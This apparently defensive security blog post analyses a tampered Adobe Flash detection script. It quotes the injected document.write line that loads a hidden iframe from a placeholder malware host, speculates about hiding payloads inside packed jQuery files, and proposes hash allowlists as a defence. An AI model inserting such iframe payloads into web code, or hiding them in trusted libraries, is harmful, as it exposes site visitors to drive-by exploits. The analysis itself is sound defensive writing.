Hiding Web 2.0 Malware in Plain Sight

Hello everyone, Jeff Forristal here. I thought I'd take a moment to discuss a trend we're seeing in attacker tactics, and predict how it may evolve into what will become commonplace tomorrow.

Recently we ran across a modified version of Adobe's Javascript-based Flash detection script used as part of a drive-by attack on web browsers. Basically the malware writers took the Flash Player Version Detection v1.7 script (AC_RunActiveContent.js) and tweaked it with a malicious payload. The heart of the evilness was caused simply adding one line, towards the end of the script:

    document.write("<i"+"fr"+"ame    src='http://__someplace__.com/    pdfdoc/index.php?id=com2'    width=1 height=1></ifr"+"am"+"e>");

This causes the script to write out an IFrame tag that pointed to a malware site which then tried to deliver exploits to the browser in an attempt to cause arbitrary code execution.

I'm willing to speculate that anyone doing a shallow/naive review of the script could prematurely conclude that the script is the proper Adobe Flash detection script and thus dismiss it as non-evil. Hopefully though many investigators would plow through the entire file and eventually see the plain-as-day extra IFrame code added, and thus see through the facade.

However, what if the IFrame code wasn’t easily visible? Javascript 'packers' (programs that transform the Javascript code into smaller, more concise code) are becoming the norm on the web for slimming down Javascript code and saving some transfer bandwidth. They work by rewriting the code and essentially obfuscate what is going on as a byproduct. This can make it much more difficult to understand what the Javascript code is doing simply by casually perusing it; a simple Javascript 'document.write' of a malicious IFrame tag may not be so glaringly obvious anymore. And unfortunately, unlike executable (.EXE) packers such as UPX, the Javascript packers are used by many web sites and projects for legitimate reasons...so the mere presence of a packed Javascript file isn't an immediate red flag of its malicious intent (i.e. alerting on packed Javascript files is going to result in a lot of false positives).

How does this help attackers? Well, even though alerting on every packed Javascript file is not recommended, packing should still at least raise the suspicion level. An attacker taking their 'evil.js' file and packing it might obfuscate what evil.js is doing, but the fact that it's a packed file of unknown function may still cause people to investigate. Instead, an attacker can extend the previously mentioned tactic of hiding a malicious payload inside a legitimate Javascript library...but this time, pick a library that is commonly distributed in packed form and widely used. For example, we see packed versions of the JQuery Javascript library quite often on many different sites. A clever attacker could take the (unpacked) jquery.js file, insert their malicious code, pack it using the same packer normally seen used with jquery.js, and then deploy it. Anyone encountering this malicious file, at first glance, may consider it to just be the usual packed jquery.js file and ignore it; any automated signatures meant to flag packed Javascript files would, on the surface, not really differentiate between the packed original version and the packed modified version. And any advanced investigation into the file by looking at the code's behavior (or 'unpacking' it via various means) will, at first, just seem to be the standard set of JQuery functionality. Only those who continue to persist past all the obvious signs that the file is a legitimate jquery.js Javascript file would perhaps encounter the maliciousness of this web 2.0 Trojan horse.

Fortunately there is a workable solution to this problem: allowlists of known-good Javascript file hashes. Since the obvious targets are widely-deployed Web 2.0 Javascript libraries (JQuery, Dojo, SWFObject, Prototype, etc.) it would be feasible to construct an allowlist of the true/safe versions of these popular library files. Of course, maintaining an allowlist is a time-consuming effort, especially with new versions of each library coming out so often. And site designers would need to be encouraged to not make any personalizations/modifications directly to these standard library files, lest they trigger the alarms. It would be interesting if such an allowlist was then utilized by browser extensions such as NoScript to know automatically which Javascript files are safe to execute...but vetting the function library is a minor part of the problem since the site still needs to use custom Javascript to access/utilize the library in the first place.

It’s a hard problem still looking for a perfect solution (like many other security problems). Until next time,

- Jeff